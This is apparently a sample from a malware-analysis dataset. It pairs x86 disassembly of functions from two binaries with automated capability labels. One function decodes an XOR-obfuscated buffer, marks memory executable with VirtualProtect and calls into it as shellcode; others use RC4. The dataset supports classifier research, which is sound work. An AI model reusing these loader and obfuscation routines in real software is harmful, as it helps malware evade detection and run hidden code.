joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40238f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x208
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x204], eax
mov eax, dword [esp + 0x20c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x220]
mov ebp, 0x100
push edi
xor edi, edi
mov dword [esp + 0x10], eax
mov ecx, edi
mov eax, ecx
mov byte [esp + ecx + 0x14], cl
cdq
idiv dword [esp + 0x228]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x114], al
inc ecx
cmp ecx, ebp
jl 0x4023c2
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x14]
movzx eax, byte [esp + esi + 0x114]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x402408
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x14]
mov byte [esp + esi + 0x14], al
inc esi
mov byte [esp + ebx + 0x14], dl
cmp esi, ebp
jl 0x4023e3
mov ebx, edi
mov ebp, edi
cmp dword [esp + 0x220], ebx
jle 0x402494
inc edi
and edi, 0x800000ff
jns 0x402437
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x14]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x402450
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x14]
mov byte [esp + edi + 0x14], al
push ecx
mov byte [esp + ebx + 0x18], cl
mov ecx, 0x42e098
mov dword [esp], 0x40495270
call fcn.00402081
push eax
call fcn.004019ae
movzx eax, byte [esp + edi + 0x18]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x10]
movzx eax, al
mov al, byte [esp + eax + 0x14]
xor byte [ecx + ebp], al
inc ebp
cmp ebp, dword [esp + 0x220]
jl 0x402426
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405eff
add esp, 0x208
ret

Function at 0x403062
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x40309f
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x15
push 0
mov byte [edi + esi], al
call dword [sym.imp.USER32.dll_OpenIcon]
mov al, byte [edi + esi]
sub al, 0x57
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x403070
pop edi
pop esi
ret

Function at 0x403d0a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
push eax
push 0x40
mov edi, 0x4ac
mov esi, 0x472830
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push edi
push esi
call fcn.00403062
pop ecx
pop ecx
call fcn.00403048
mov edx, 0x472830
add edx, 0x188
mov esi, 0x42f030
push esi
call edx
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x406b09
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406b48
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406b48
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406b48
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406b48
cmp dword [ecx + 0x74], 0xe
jbe 0x406b48
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100021c0
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
mov eax, dword [esp]
push eax
mov ecx, 0x10158200
call fcn.100061a0
test eax, eax
jne 0x100021d6
test edx, edx
je 0x100021e3
push edx
push eax
call fcn.1000e6d0
add esp, 8
ret 0x10
jmp fcn.1000af60

Function at 0x100022f0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp]
push esi
push edi
push eax
mov ecx, 0x10158200
call fcn.100061a0
mov esi, eax
mov edi, edx
test esi, esi
jne 0x1000230c
test edi, edi
je 0x1000234d
mov edx, dword [esp + 0x18]
test edx, edx
je 0x1000233e
mov ecx, dword [esp + 0x1c]
test ecx, ecx
je 0x1000233e
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x10002336
push edi
push esi
mov word [edx], ax
call fcn.1000e6d0
add esp, 8
pop edi
pop esi
ret 0x18
push eax
push ecx
push edx
call fcn.10002270
push edi
push esi
call fcn.1000e6d0
add esp, 8
pop edi
pop esi
ret 0x18
pop edi
pop esi
jmp fcn.1000ab40

Function at 0x10002400
Capabilities:
Get common file path
Persist via run registry key

Disassembly:
sub esp, 0x20c
mov eax, dword [0x101561c0]
xor eax, esp
mov dword [esp + 0x208], eax
push ebx
push esi
push edi
mov edi, dword [esp + 0x21c]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x16]
push ecx
mov ebx, 1
mov word [esp + 0x18], ax
call fcn.10010900
add esp, 0xc
push 0x104
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str.SHFolder.dll
push 0x104
lea eax, [esp + 0x14]
push eax
call fcn.10002360
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x1000249d
push str.SHGetFolderPathW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002492
push edi
push 0
push 0
push 0x8023
push 0
call eax
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x100024f0
push 1
push 0x208
push edi
push str.Common_AppData
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push closesocket
call fcn.1000ea50
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x18
call esi
test eax, eax
je 0x100024f0
call esi
push eax
push 0x220f1007
call fcn.1000e600
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.100108f1
add esp, 0x20c
ret
cmp word [edi], 0
jne 0x1000251d
push 0xd
push 0x220f1007
call fcn.1000e600
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.100108f1
add esp, 0x20c
ret
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
xor edx, edx
call fcn.100108f1
add esp, 0x20c
ret

Function at 0x100041d0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
shr eax, 2
sub eax, 1
js 0x100041ec
mov ecx, dword [esp + 4]
xor dword [ecx + eax*4], 0x19950315
sub eax, 1
jns 0x100041e0
ret
Function at 0x10004390
Capabilities:
Create directory

Disassembly:
sub esp, 0x44
mov eax, dword [0x101561c0]
xor eax, esp
mov dword [esp + 0x40], eax
push ebp
mov ebp, dword [esp + 0x4c]
push ebp
call fcn.10002400
add esp, 4
test eax, eax
jne 0x1000456a
test edx, edx
jne 0x1000456a
push ebx
push esi
push edi
push str.AhnLab
push 0x104
push ebp
call fcn.10002360
mov esi, dword [esp + 0x68]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test esi, esi
je 0x100043f5
push 0
push ebp
call edi
test eax, eax
jne 0x100043f5
call ebx
cmp eax, 0xb7
jne 0x1000441b
push str.0D02314D_EC55_4d53_95FD_41183118B517
push 0x104
push ebp
call fcn.10002360
test esi, esi
je 0x1000443e
push 0
push ebp
call edi
test eax, eax
jne 0x1000443e
call ebx
cmp eax, 0xb7
je 0x1000443e
call ebx
push eax
push 0x220f1008
call fcn.1000e600
add esp, 8
pop edi
pop esi
pop ebx
pop ebp
mov ecx, dword [esp + 0x40]
xor ecx, esp
call fcn.100108f1
add esp, 0x44
ret
mov edx, dword [esp + 0x5c]
mov eax, 0x5c
mov word [esp + 0x10], ax
push edx
lea eax, [esp + 0x18]
mov ecx, 0x7b
push eax
mov word [esp + 0x1a], cx
call fcn.10004150
mov eax, dword [esp + 0x68]
mov edx, 0xffff
add esp, 8
mov ecx, 0x2d
mov word [esp + 0x1c], cx
cmp dx, ax
jne 0x100044c4
lea eax, [esp + 0x1e]
lea edx, [ecx - 0x28]
mov esi, 0x1010854c
mov ecx, eax
sub esi, ecx
lea esp, [esp]
lea ecx, [edx + 0x7ffffff9]
test ecx, ecx
je 0x100044b6
movzx ecx, word [esi + eax]
test cx, cx
je 0x100044b6
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x10004490
sub eax, 2
mov word [eax], dx
jmp 0x100044d2
test edx, edx
jne 0x100044bd
sub eax, 2
xor edx, edx
mov word [eax], dx
jmp 0x100044d2
push eax
lea eax, [esp + 0x22]
push eax
call fcn.10004150
add esp, 8
mov eax, dword [esp + 0x64]
mov edx, 0xffff
mov ecx, 0x2d
mov word [esp + 0x26], cx
cmp dx, ax
jne 0x10004534
lea eax, [esp + 0x28]
lea edx, [ecx - 0x28]
mov esi, 0x1010854c
mov ecx, eax
sub esi, ecx
lea ebx, [ebx]
lea ecx, [edx + 0x7ffffff9]
test ecx, ecx
je 0x10004526
movzx ecx, word [esi + eax]
test cx, cx
je 0x10004526
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x10004500
sub eax, 2
mov word [eax], dx
jmp 0x10004542
test edx, edx
jne 0x1000452d
sub eax, 2
xor edx, edx
mov word [eax], dx
jmp 0x10004542
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.10004150
add esp, 8
lea eax, [esp + 0x10]
push eax
push 0x104
mov ecx, 0x7d
xor edx, edx
push ebp
mov word [esp + 0x3c], cx
mov word [esp + 0x3e], dx
call fcn.10002360
pop edi
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov ecx, dword [esp + 0x44]
pop ebp
xor ecx, esp
call fcn.100108f1
add esp, 0x44
ret
Function at 0x10004900
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x50
mov eax, dword [0x101561c0]
xor eax, esp
mov dword [esp + 0x4c], eax
mov ax, word [esp + 0x5c]
push ebx
mov ebx, dword [esp + 0x58]
push ebp
mov ebp, dword [esp + 0x68]
push esi
mov ecx, 0xffff
push edi
mov edi, dword [esp + 0x74]
mov dword [esp + 0x18], ebp
cmp cx, ax
je 0x100049a1
movzx edx, word [esp + 0x68]
movzx eax, ax
shl edx, 0x10
or edx, eax
push edx
push str._08x
lea ecx, [esp + 0x24]
push 0x10
push ecx
call fcn.10002910
add esp, 0x10
push edi
push 0
push 0
push 0
lea edx, [esp + 0x2c]
push edx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 3
je 0x10004a40
cmp eax, 2
je 0x10004a40
test eax, eax
je 0x10004a8a
push eax
push 0x220f1200
call fcn.1000e600
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.100108f1
add esp, 0x50
ret
movzx eax, word [esp + 0x68]
push eax
push str._04x
lea ecx, [esp + 0x44]
push 0x10
push ecx
call fcn.10002910
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
add esp, 0x10
push edi
xor esi, esi
push esi
push esi
push esi
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x30]
push eax
push esi
push ebx
mov dword [esp + 0x30], 0x10
call ebp
cmp eax, 0x103
je 0x10004a40
test eax, eax
jne 0x10004a65
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x20]
push edx
push str.gue:rev:_s__s_
push 0xa
push 0x10158458
call fcn.1000f760
push 4
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x58]
push ecx
call fcn.10010e10
add esp, 0x20
test eax, eax
je 0x10004a86
push edi
push 0
push 0
push 0
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x30]
push eax
inc esi
push esi
push ebx
mov dword [esp + 0x30], 0x10
call ebp
cmp eax, 0x103
jne 0x100049e4
push 0x103
push 0x220f1005
call fcn.1000e600
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.100108f1
add esp, 0x50
ret
push eax
push 0x220f1203
call fcn.1000e600
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.100108f1
add esp, 0x50
ret
mov ebp, dword [esp + 0x18]
mov eax, dword [edi]
test eax, eax
jne 0x10004ab2
push 0xd
push 0x220f1003
call fcn.1000e600
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.100108f1
add esp, 0x50
ret
lea esi, [ebp + 8]
push esi
push eax
call sym.AhnI2t.dll_AhnInst2_SecMalloc
mov dword [ebp + 4], eax
test eax, eax
jne 0x10004ae5
push 0xe
push 0x220f1e01
call fcn.1000e600
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.100108f1
add esp, 0x50
ret
mov edi, dword [edi]
cmp edi, dword [esi]
jne 0x10004a90
lea ecx, [esp + 0x14]
push ecx
push eax
push 0
push 0
lea edx, [esp + 0x2c]
push edx
push ebx
mov dword [esp + 0x2c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10004980
mov ecx, dword [esp + 0x5c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor edx, edx
call fcn.100108f1
add esp, 0x50
ret
Function at 0x100066b0
Capabilities:
Check if file exists

Disassembly:
sub esp, 0x104
mov eax, dword [0x101561c0]
xor eax, esp
mov dword [esp + 0x100], eax
push esi
push edi
push 0xff
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.10010900
mov edx, dword [str.UpdateProduct]
mov eax, dword [str.SoftwareAhnlabDynaUpdate]
push 2
push 0x100
lea ecx, [esp + 0x1c]
push ecx
push edx
push eax
push closesocket
call fcn.1000ea50
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x24
mov edi, eax
call esi
test eax, eax
je 0x10006730
call esi
cmp eax, 3
je 0x10006730
call esi
cmp eax, 2
je 0x10006730
call esi
push eax
push 0x220f1200
call fcn.1000e600
add esp, 8
jmp 0x100067ad
mov cl, byte [esp + 0x110]
xor eax, eax
cmp byte [esp + 8], al
je 0x10006752
nop
cmp eax, edi
jae 0x10006752
cmp cl, byte [esp + eax + 8]
je 0x100067a9
inc eax
cmp byte [esp + eax + 8], 0
jne 0x10006740
cmp edi, 0xff
jbe 0x1000676e
push 0x10da
push 0x220f1100
call fcn.1000e600
add esp, 8
jmp 0x100067ad
mov edx, dword [str.UpdateProduct]
mov byte [esp + eax + 8], cl
push 2
inc eax
push eax
mov eax, dword [str.SoftwareAhnlabDynaUpdate]
lea ecx, [esp + 0x10]
push ecx
push edx
push eax
push closesocket
call fcn.1000eae0
add esp, 0x18
test eax, eax
je 0x100067a9
push eax
push 0x220f1201
call fcn.1000e600
add esp, 8
jmp 0x100067ad
xor eax, eax
xor edx, edx
mov ecx, dword [esp + 0x108]
pop edi
pop esi
xor ecx, esp
call fcn.100108f1
add esp, 0x104
ret 4

Function at 0x100067d0
Capabilities:
Check if file exists

Disassembly:
sub esp, 0x104
mov eax, dword [0x101561c0]
xor eax, esp
mov dword [esp + 0x100], eax
push esi
push edi
push 0xff
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.10010900
mov edx, dword [str.UpdateProduct]
mov eax, dword [str.SoftwareAhnlabDynaUpdate]
push 2
push 0x100
lea ecx, [esp + 0x1c]
push ecx
push edx
push eax
push closesocket
call fcn.1000ea50
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x24
mov esi, eax
call edi
test eax, eax
je 0x10006856
call edi
cmp eax, 3
je 0x10006850
call edi
cmp eax, 2
je 0x10006850
call edi
push eax
push 0x220f1200
call fcn.1000e600
add esp, 8
jmp 0x1000687f
xor eax, eax
xor edx, edx
jmp 0x1000687f
push ebx
mov bl, byte [esp + 0x114]
mov edi, edi
xor eax, eax
cmp byte [esp + 0xc], al
je 0x1000687a
cmp eax, esi
jae 0x1000687a
cmp bl, byte [esp + eax + 0xc]
je 0x10006898
inc eax
cmp byte [esp + eax + 0xc], 0
jne 0x10006868
xor eax, eax
xor edx, edx
pop ebx
mov ecx, dword [esp + 0x108]
pop edi
pop esi
xor ecx, esp
call fcn.100108f1
add esp, 0x104
ret 4
cmp eax, 0xffffffff
je 0x1000687a
mov ecx, esi
sub ecx, eax
dec ecx
push ecx
lea edx, [esp + eax + 0x11]
push edx
lea eax, [esp + eax + 0x14]
push eax
call fcn.10010aa0
mov edx, dword [str.UpdateProduct]
mov eax, dword [str.SoftwareAhnlabDynaUpdate]
push 2
dec esi
push esi
lea ecx, [esp + 0x20]
push ecx
push edx
push eax
push closesocket
call fcn.1000eae0
add esp, 0x24
test eax, eax
je 0x10006860
push eax
push 0x220f1201
call fcn.1000e600
add esp, 8
jmp 0x1000687e
Function at 0x10007250
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x10107011
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x101561c0]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
push 1
lea ecx, [esi + 0x10]
mov dword [esi], vtable.CAhnI2s_Profile2.0
call fcn.1000e0c0
xor edi, edi
mov dword [esp + 0x18], edi
mov dword [esi + 0x24], vtable.CAhnI2s_File.0
mov dword [esi + 0x28], 0xffffffff
mov dword [esi + 0x2c], vtable.CAhnI2s_MemBlock.0
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
push 1
lea ecx, [esi + 0x44]
mov byte [esp + 0x1c], 2
call fcn.1000e0c0
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], 0xfde9
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x54], 0x70
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret
Function at 0x1000b600
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, eax
and ecx, 0x80000007
jns 0x1000b613
dec ecx
or ecx, 0xfffffff8
inc ecx
je 0x1000b618
xor eax, eax
ret
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
test esi, esi
jne 0x1000b629
mov esi, 0x1010a23c
cmp dword [esp + 0x20], 0
je 0x1000b6b4
test eax, eax
je 0x1000b72c
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
xor eax, eax
lea edi, [eax + 0x1f]
lea ebx, [ebx]
mov ebx, edx
shr ebx, 5
mov ebp, edx
shl ebp, 4
xor ebx, ebp
add ebx, edx
mov ebp, eax
and ebp, 3
mov ebp, dword [esi + ebp*4]
add ebp, eax
xor ebx, ebp
add ecx, ebx
mov ebx, ecx
shr ebx, 5
mov ebp, ecx
shl ebp, 4
xor ebx, ebp
sub eax, 0x61c98647
mov ebp, eax
shr ebp, 0xd
and ebp, 3
mov ebp, dword [esi + ebp*4]
add ebx, ecx
add ebp, eax
xor ebx, ebp
add edx, ebx
sub edi, 1
jne 0x1000b650
mov eax, dword [esp + 0x14]
mov dword [eax], ecx
mov dword [eax + 4], edx
add eax, 8
sub dword [esp + 0x18], 8
mov dword [esp + 0x14], eax
jne 0x1000b640
lea eax, [edi + 1]
pop edi
pop esi
pop ebp
pop ebx
ret
test eax, eax
je 0x1000b72c
mov eax, dword [esp + 0x14]
lea esp, [esp]
mov edx, dword [eax]
mov ecx, dword [eax + 4]
mov eax, 0x2898bd67
mov edi, 0x1f
nop
mov ebx, edx
shr ebx, 5
mov ebp, edx
shl ebp, 4
xor ebx, ebp
mov ebp, eax
shr ebp, 0xd
and ebp, 3
mov ebp, dword [esi + ebp*4]
add ebp, eax
add ebx, edx
xor ebx, ebp
sub ecx, ebx
mov ebx, ecx
shr ebx, 5
mov ebp, ecx
shl ebp, 4
xor ebx, ebp
add eax, 0x61c98647
mov ebp, eax
and ebp, 3
mov ebp, dword [esi + ebp*4]
add ebx, ecx
add ebp, eax
xor ebx, ebp
sub edx, ebx
sub edi, 1
jne 0x1000b6d0
mov eax, dword [esp + 0x14]
mov dword [eax], edx
mov dword [eax + 4], ecx
add eax, 8
sub dword [esp + 0x18], 8
mov dword [esp + 0x14], eax
jne 0x1000b6c0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x1000b740
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
push 0xf0000000
xor ebp, ebp
push 1
push ebp
push ebp
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], 0x10
call esi
test eax, eax
jne 0x1000b7c8
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x80090016
je 0x1000b78a
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
push 8
push 1
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
call esi
test eax, eax
jne 0x1000b7c8
call ebx
cmp eax, 0x8009000f
jne 0x1000b781
push 0x10
push 1
push 0
push 0
lea edx, [esp + 0x1c]
push edx
call esi
push 8
push 1
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call esi
test eax, eax
je 0x1000b781
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push 0x8003
push edx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1000b82c
mov esi, dword [esp + 0x1c]
push 0
push closesocket
push esi
call fcn.1000f8a0
add esp, 8
push eax
mov eax, dword [esp + 0x18]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1000b82c
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
push 0
lea ecx, [esp + 0x18]
push ecx
push edx
push 2
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x1000b82c
mov ebp, 1
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000b83b
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x1000b84c
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x1000e930
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 4]
push ecx
push 1
push edx
push eax
mov dword [esp + 0x18], 4
call fcn.1000e8b0
add esp, 0x14
test eax, eax
jne 0x1000e997
push esi
lea ecx, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
lea edx, [esp + 0x10]
push edx
push eax
push eax
mov eax, dword [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [esp + 4]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x1000e997
cmp dword [esp + 4], 4
mov eax, dword [esp + 8]
je 0x1000e99b
mov eax, dword [esp + 0x1c]
add esp, 0xc
ret

Function at 0x1000e9a0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
push esi
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xc]
push ecx
push 0x20019
push edx
push eax
mov dword [esp + 0x18], 0
call fcn.1000e8b0
mov esi, dword [esp + 0x3c]
add esp, 0x14
mov dword [esi], eax
test eax, eax
jne 0x1000ea44
mov edx, dword [esp + 8]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x20]
lea ecx, [esp + 0xc]
push ecx
push eax
push eax
push eax
push edi
push edx
call ebx
mov dword [esi], eax
test eax, eax
jne 0x1000ea37
mov eax, dword [esp + 0xc]
cmp eax, dword [esp + 0x28]
ja 0x1000ea31
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0xc]
push ecx
push edx
push 0
push 0
push edi
push eax
call ebx
mov ecx, dword [esp + 0x10]
push ecx
mov dword [esi], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
pop edi
pop ebx
pop esi
add esp, 8
ret
mov dword [esi], 0xea
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
mov eax, dword [esp + 4]
pop esi
add esp, 8
ret

Function at 0x1000eae0
Capabilities:
Set registry value

Disassembly:
push edi
mov edi, dword [esp + 0x14]
test edi, edi
jne 0x1000eaee
lea eax, [edi + 0x57]
pop edi
ret
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0xc]
push esi
push eax
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push ecx
push 0x20006
push edx
push eax
call fcn.1000e8f0
mov esi, eax
add esp, 0x14
test esi, esi
jne 0x1000eb3c
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
push ecx
push edi
push 3
push eax
mov eax, dword [esp + 0x28]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [esp + 0x18]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop edi
ret
Function at 0x1000eb50
Capabilities:
Delete registry value

Disassembly:
push ecx
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
lea ecx, [esp + 4]
push ecx
push 2
push edx
push eax
call fcn.1000e8b0
add esp, 0x14
test eax, eax
jne 0x1000eb93
mov ecx, dword [esp + 0x10]
mov edx, dword [esp]
push esi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov esi, eax
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ecx
ret

Function at 0x1000eca0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
test eax, eax
je 0x1000eda0
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x1000eda0
movzx edx, word [eax + 6]
push ebx
push esi
push edi
movzx edi, word [eax + 2]
mov esi, 1
cmp edi, esi
mov dword [esp + 0xc], edx
jle 0x1000ecf2
movzx ebx, word [eax]
push esi
push ebx
call fcn.1000ebe0
movzx eax, ax
add dword [esp + 0x14], eax
inc esi
add esp, 8
cmp esi, edi
jl 0x1000ecd4
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
movzx edi, word [ecx + 2]
movzx ebx, word [ecx + 6]
mov esi, 1
cmp edi, esi
jle 0x1000ed24
push ebp
movzx ebp, word [ecx]
push esi
push ebp
call fcn.1000ebe0
movzx ecx, ax
inc esi
add esp, 8
add ebx, ecx
cmp esi, edi
jl 0x1000ed07
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
pop ebp
movzx eax, word [eax]
movzx ecx, word [ecx]
cmp ax, cx
jbe 0x1000ed6b
movzx esi, cx
movzx edi, ax
cmp esi, edi
jge 0x1000ed95
lea esp, [esp]
push esi
call fcn.1000eba0
xor edx, edx
add esp, 4
test ax, ax
setne dl
inc esi
add edx, 0x16d
add dword [esp + 0xc], edx
cmp esi, edi
jl 0x1000ed40
mov eax, dword [esp + 0xc]
pop edi
pop esi
sub eax, ebx
pop ebx
pop ecx
ret
jae 0x1000ed95
movzx esi, ax
movzx edi, cx
cmp esi, edi
jge 0x1000ed95
push esi
call fcn.1000eba0
xor ecx, ecx
add esp, 4
test ax, ax
setne cl
inc esi
add ecx, 0x16d
add ebx, ecx
cmp esi, edi
jl 0x1000ed77
mov eax, dword [esp + 0xc]
pop edi
pop esi
sub eax, ebx
pop ebx
pop ecx
ret
xor eax, eax
pop ecx
ret